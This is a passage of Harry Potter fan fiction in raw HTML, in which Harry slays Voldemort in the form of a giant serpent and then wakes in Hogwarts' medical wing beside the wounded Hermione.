style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That\ndoes it!&#8221; Harry clenched his fists in anger. &#8220;This is the last time.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\ntake this.&#8221; Dumbledore reached into his robes and drew out a gold-hilted\nbroadsword. &#8220;I thought you might need this.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nyoung man took the sword from his mentor and grasped it firmly in his hand.&nbsp;\nHarry knew this sword; it was the sword that belonged to Godric\nGryffindor.&nbsp; He&#8217;d used this same weapon back in second year against that\nhorrible basilisk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;It\ndoesn&#8217;t matter.&nbsp; The snake&#8217;s just twice as big this time,&#8217; Harry thought\nto himself.&nbsp; The blade glinted from the now afternoon sun, and the rubies\nengraved in the hilt glittered with subtle power.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Stepping\nback outside the archway, Harry clasped his sword in his right hand.&nbsp; He\nextended his left hand out towards a grove of trees.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Accio\nFirebolt!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry&#8217;s\nbroomstick shot out of the trees and came to his side at his command.&nbsp; He\ntook the Firebolt in his hand and turned back to his friends and teachers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No\none follow me.&#8221; It was not a suggestion but an order.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Mounting\nhis broom, he gripped the handle with his left hand and the sword in his\nright.&nbsp; Harry kicked off the ground and flew off the face his enemy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nmighty snake hissed appealingly when it saw who was approaching it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry&#8230;ssss&#8230;Potter&#8230;ssss&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Voldemort,\nyou&#8217;re going to stay dead this time!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwas floating on his broom directly in front of the snake&#8217;s head.&nbsp; The\nserpent&#8217;s eyes shown with utter disdain.&nbsp; Opening its mouth, the snake\nrevealed two huge razor-sharp fangs ready to sink into Harry&#8217;s body.&nbsp; The\nyoung wizard barely moved out of the way when Voldemort lunged to take a bite\nof him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\nquite fast I sssseeee.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\njust getting started.&nbsp; Care to try again?&#8221; Harry taunted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort\nhissed angrily and went after him with a vengeance.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Inside\nHogwarts&#8217; medical wing, Madam Pomfrey was tending to Hermione&#8217;s wounds.&nbsp;\nRon and Lavender were by her side, waiting to hear the news.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Will\nshe be all right?&#8221; Ron asked worriedly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Eventually&#8230;yes,\nbut she&#8217;s gonna need about a week to recover.&nbsp; She sustained a lot of\ndamage to her internal organs, and she&#8217;s lost a lot of blood.&nbsp; I&#8217;d hate to\nthink what would&#8217;ve happened if she hadn&#8217;t been brought here sooner.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nhate to think what Harry would&#8217;ve done!&#8221; Lavender said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221;\nRon gasped.&nbsp; In his rush to help Hermione, he&#8217;d completely forgotten.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nworry, I&#8217;m sure he&#8217;s fine,&#8221; his girlfriend replied and squeezed his hand.&nbsp;\nIt was then that two heard a loud hissing noise coming from outside.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Rushing\nto the window, Ron pushed it open, and his eyes near bulged out of his head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nin bloody hell?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s\na giant snake!&#8221; Lavender gulped. &#8220;And look who&#8217;s flying around it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">They\nboth watched at Harry ducked and dove around the snake&#8217;s head, several times\nnearly avoiding being chomped by its massive fangs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\ndon&#8217;t get it.&nbsp; Where&#8217;s You-Know-Who?&#8221; Lavender asked, &#8220;I thought Harry was\nfighting him.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It\nwas then that Ron saw the serpent&#8217;s eyes &#8211; their blood-red shade.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8230;I&#8230;I\nthink that snake is You-Know-Who!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nswerved out of the way as Voldemort took another swipe at him.&nbsp; What was\nhe supposed to do?&nbsp; Trying to run through plans of attack while dodging a\ngiant snake was not that easy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Come\non, Potter, think!&nbsp; Use your brain for once &#8211; just like Hermione taught\nyou.&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Then,\nit clicked &#8211; Hermione!&nbsp; Before he&#8217;d left, there was an assignment in\nPotions involving poisonous snakes.&nbsp; He and Ron had hated the work as\nusual, but Hermione had been patient and showed them what the method was for\nneutralizing and if possible killing a venomous serpent.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Dammit,\nI should have paid more attention to her!&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nrolled over to avoid Voldemort&#8217;s latest attack and continued his brainstorm.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;What\nwas it she said?&nbsp; A snake&#8217;s most vulnerable spot is&#8230;is&#8230;it&#8217;s head&#8230;no&#8230;&#8217; Harry\nwas getting frustrated, &#8216;&#8230;wait a minute, the base of the head!&#8217; Now, he had a\nplan.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort\nwas getting aggravated at missing Harry time after time, and his hissed angrily\nat the young wizard.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;This\nis the end for you, Potter!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nbanked to the side and avoided the attack.&nbsp; He flew up into the air and\ncircled around for his own attack.&nbsp; He couldn&#8217;t just fly right in, or he&#8217;d\nbe chomped for sure.&nbsp; No, he needed a distraction.&nbsp; Flying over\nHogwarts one last time, Harry lined himself up for his attack.&nbsp; He had an\nidea, but there was a price to pay &#8211; his Firebolt.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;I&#8217;m\nsorry, old friend, but I don&#8217;t see any other way.&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ndove towards the mighty snake and readied his sword.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yessssss,\nHarry Potter, come&#8230;come to your death&#8230;ssss&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ncrossed his knees under his broomstick to steady it and extended his left\nhand.&nbsp; He saw the snake opening its mouth ready to eat him alive.&nbsp;\nJust a little closer&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;INFLAMARE!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Fire\nerupted under the serpent&#8217;s belly, and Voldemort wailed in pain.&nbsp; His eyes\nclosed momentarily, and when he felt something hit his jaw, he bit down and\nswallowed.&nbsp; The fire had burned his outer scales, but it hadn&#8217;t done that\nmuch damage.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Say\ngoodbye, Harry Potter!&#8221; The snake laughed triumphantly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">What\nVoldemort couldn&#8217;t see was that Harry had apparated off his broomstick and onto\nthe top of the snake&#8217;s head.&nbsp; Clutching the sword of Gryffindor with both\nhands, he raised it above his head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Goodbye!&#8221;\nhe shouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort\nonly had time to gasp before Harry drove the sword into the base of the snake&#8217;s\nhead.&nbsp; The Dark Lord howled in agony and immediately tried to throw off\nhis attacker.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwas being jerked around wildly, but he held onto the sword and pushed it\nfurther and further into the serpent&#8217;s head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Die,\nyou bastard!&#8221; and he rammed it all the way inside.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nserpent wailed and hissed, and its head snapped from side to side as it tried\nto helplessly dislodge the sword.&nbsp; Harry was flung into the air, and he\nhit the ground with a hard thud.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nsnake collapsed to the ground twitching wildly and gasping its last\nbreaths.&nbsp; At last, the mighty head hit the earth for the last time.&nbsp;\nUpon its death, the body shriveled up and shrunk down to a pile of scales and\nmolted skin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nslowly stood to his feet, holding his side.&nbsp; He felt like hell and had a\nheadache the size of a dragon.&nbsp; However, he could still feel the presence\nof evil magic and remembered what had happened when Voldemort&#8217;s body had turned\nto ash.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Just\nas he predicted, Harry could see a dusk cloud rising from the corpse of the\ngreat serpent.&nbsp; Voldemort was trying to escape &#8211; not this time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Voldemort!&#8221;\nHarry roared at the top of his lungs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Using\nevery bit of strength he had left, Harry extended his arms, and the phoenix\nexploded out of his body.&nbsp; The young wizard rose into the air, and he\nraised his hands to the sky.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\ndusk cloud howled in disgust and scurried towards the Dark Forest, but Harry\nwas not going to be denied any longer.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;ve\nhad it with you, Voldemort, it&#8217;s over!&#8221; Harry thrust his hands forward.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;PHOENIX\nFLARE!!!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">When\nthe words left Harry&#8217;s mouth, the phoenix separated from his body and dove\ntoward the escaping dust cloud.&nbsp; You could hear the once great Dark Lord\nVoldemort screaming in fear as he tried to flee from the firebird&#8217;s pursuit,\nbut it was to no avail.&nbsp; The phoenix caught the evil wizard&#8217;s essence, and\nit erupted into a sphere of white-hot fire.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;AHHHHHHHHH!!!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">You\ncould hear the demonic wail of the evil wizard echo through all of Hogwarts,\nHogsmeade, and perhaps even the entire planet.&nbsp; The fire continued to\nburn, consuming all that was Voldemort, formerly known as Tom Riddle, as he was\ncondemned to his own personal hell on Earth!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwatched the fire consume his mortal enemy, knowing that it was over at last.&nbsp;\nHe remained in the air until the flames had consumed the last of the Dark\nLord&#8217;s essence.&nbsp; The phoenix returned to Harry once it had finished its\nduty, and the firebird disappeared back into the young wizard&#8217;s body.&nbsp; His\ntask accomplished, Harry allowed himself to give into the pain and soreness\nthat his body was feeling, and he collapsed to the ground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Back\ninside the main gate, Sirius, Remus, McGonagall, Fudge, and even Snape stood\ndumbstruck at what they had just seen Harry do.&nbsp; Even Dumbledore was\nbeside himself.&nbsp; He&#8217;d never thought that Harry Potter carried such\nincredible power inside him.&nbsp; Their silent gawking was only broken when\nthey saw the young man&#8217;s body give out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">They\nall rushed to help him, which was quite difficult for Sirius and Dumbledore\nsince they were both still banged up from their earlier injuries.&nbsp;\nMinister Fudge was the first to reach him, and he carefully rolled Harry onto\nhis back.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nyoung wizard groaned in pain, and his eyes opened slightly.&nbsp; He saw\nhimself surrounded by his trainers, teachers, and occasional adversaries, but\nthey were all his friends &#8211; one way or the other.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nokay, Harry?&#8221; Sirius asked as he leaned on Remus for support.&nbsp; He only got\na nod for an answer.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\nparents would be proud of you,&#8221; Dumbledore said with a warm smile.&nbsp; Harry\ncracked a small smile at them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;The\nnightmare is over.&#8221; Those were his last words before unconsciousness claimed\nhim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nslowly opened his eyes; he felt like bloody hell!&nbsp; Letting out a rather\nloud yawn, he rubbed his eyelids and heard someone laughing next to his\nbed.&nbsp; His senses told him that he was in the medical wing inside Hogwarts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well&#8230;well&#8230;the\ndead have arisen,&#8221; a familiar voice teased.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Shut-up\nRon!&#8221; Harry groaned and rubbed his head.&nbsp; His best friend calmed down and\nput a serious look on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nokay?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nthink so&#8230;&#8221; Harry was cut short by an intense soreness in his left side,\n&#8220;&#8230;course, I could be wrong.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron,\nwhere&#8217;s Hermione?&#8221; he asked; his voice dripping with worry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;There,&#8221;\nhis friend pointed, indicating the bed next his, &#8220;She&#8217;s pretty banged up, but\nMadam Pomfrey said she&#8217;ll make it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ignoring\nhis body&#8217;s plea to stay put, Harry pulled off his blankets and stood up,\nsteadying himself with the bedpost.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nare you doing?&#8221; Ron asked rather annoyed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nwant to see her,&#8221; Harry said stubbornly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Forcing\nhis legs to move, he walked around the curtain separating their beds and saw\nher.&nbsp; Hermione lay motionless on her back.&nbsp; Harry could tell she was\nasleep and carefully sat down by her bedside.&nbsp; Her hands were wrapped in\nlight gauze, and Harry could see a large bandage wrapped around her\nmidsection.&nbsp; There was a large bruise on her forehead and several scrapes\non her face.&nbsp; Picking up her small hand, he gently kissed her fingertips,\nand it caused her to stir slightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ncouldn&#8217;t resist as his hand 